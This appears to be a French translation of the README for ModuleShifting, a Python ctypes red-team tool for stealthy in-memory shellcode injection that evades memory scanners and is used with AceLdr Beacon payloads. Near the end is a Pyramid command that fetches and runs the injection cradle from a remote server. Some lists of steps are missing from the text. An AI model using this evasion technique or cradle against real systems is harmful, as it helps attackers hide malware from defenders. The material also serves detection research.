
Variation plus furtive des techniques d'injection Module Stomping et Module Overloading qui réduit les IoCs mémoire. Implémenté en Python ctypes
Cet outil a été présenté lors de la conférence 2023 x33fcon : "Améliorer la furtivité des techniques d'injection mémoire" [Vidéo] [Article de blog]
ModuleShifting est une variante plus furtive des techniques d'injection Module Stomping et Module Overloading. Elle est implémentée en Python ctypes afin de pouvoir être exécutée entièrement en mémoire via un interpréteur Python et Pyramid, évitant ainsi l'utilisation de chargeurs compilés.
La technique peut être utilisée avec des charges utiles PE ou shellcode ; cependant, la variante la plus furtive est destinée à être utilisée avec des charges utiles shellcode qui doivent être fonctionnellement indépendantes de la charge utile finale que le shellcode charge.
ModuleShifting, lorsqu'il est utilisé avec une charge utile shellcode, effectue les opérations suivantes :

Lors de l'utilisation d'une charge utile PE, ModuleShifting effectue les opérations suivantes :
ModuleShifting peut être utilisé pour injecter une charge utile sans allouer dynamiquement de mémoire (c'est-à-dire VirtualAlloc) et, comparé à Module Stomping et Module Overloading, il est plus furtif car il réduit le nombre d'IoC générés par la technique d'injection elle-même.
Il existe 3 différences principales entre Module Shifting et certaines implémentations publiques de Module Stomping (une de Bobby Cooke et WithSecure)
Les différences entre Module Shifting et Module Overloading sont les suivantes :
En utilisant une charge utile shellcode fonctionnellement indépendante, telle qu'une charge utile shellcode AceLdr Beacon Stageless, ModuleShifting est capable d'injecter localement sans allouer dynamiquement de mémoire et, actuellement, en générant zéro IoC lors d'un scan Moneta et PE-Sieve. Je suis conscient que les charges utiles endormies d'AceLdr peuvent être détectées avec d'autres excellents outils tels que Hunt-Sleeping-Beacon, mais l'accent est ici mis sur la technique d'injection elle-même, pas sur la charge utile. Dans notre cas, ce qui permet une plus grande furtivité dans l'injection est l'indépendance fonctionnelle du shellcode, de sorte que les octets malveillants écrits peuvent être restaurés à leur contenu original, effaçant ainsi les traces de l'injection.
Toutes les informations et tout le contenu sont fournis à des fins éducatives uniquement. Suivez les instructions à vos propres risques. Ni l'auteur ni son employeur ne sont responsables des dommages directs ou indirects ou des pertes résultant de toute personne ou organisation.
Ce travail a été rendu possible grâce aux connaissances et aux outils partagés par des personnes incroyables comme Aleksandra Doniec @hasherezade, Forest Orr et Kyle Avery. J'ai massivement utilisé Moneta, PeSieve, PE-Bear et AceLdr tout au long de mon processus d'apprentissage et ils ont été essentiels à ma compréhension de ce sujet.
ModuleShifting peut être utilisé avec Pyramid et un interpréteur Python pour exécuter l'injection de processus local entièrement en mémoire, évitant ainsi les chargeurs compilés.
git clone https://github.com/naksyn/Pyramid
python3 pyramid.py -u testuser -pass testpass -p 443 -enc chacha20 -passenc superpass -generate -server 192.168.1.2 -setcradle moduleshifting.pyhttps://github.com/naksyn/ModuleShifting/assets/59816245/67fcf888-3385-47da-b828-8a2dafeeb1e2
Pour exécuter avec succès cette technique, vous devez utiliser une charge utile shellcode capable de charger une charge utile supplémentaire autonome dans une autre zone mémoire. ModuleShifting a été testé avec la charge utile AceLdr, qui est capable de charger une copie entière de Beacon sur le tas, brisant ainsi la dépendance fonctionnelle avec le shellcode initial. Cette technique fonctionnerait avec toute charge utile shellcode ayant des capacités similaires. Ainsi, le shellcode initial devient inutile une fois exécuté et il n'y a aucune raison de le conserver en mémoire comme un IoC.
Une dll hôte avec suffisamment d'espace pour le shellcode sur la section ciblée doit également être choisie, sinon la technique échouera.
Module Stomping et Module Shifting doivent écrire le shellcode sur l'espace mémoire d'une dll légitime. ModuleShifting éliminera cet IoC après la phase de nettoyage, mais des indicateurs pourraient être repérés par des scanners dotés de capacités d'inspection en temps réel.
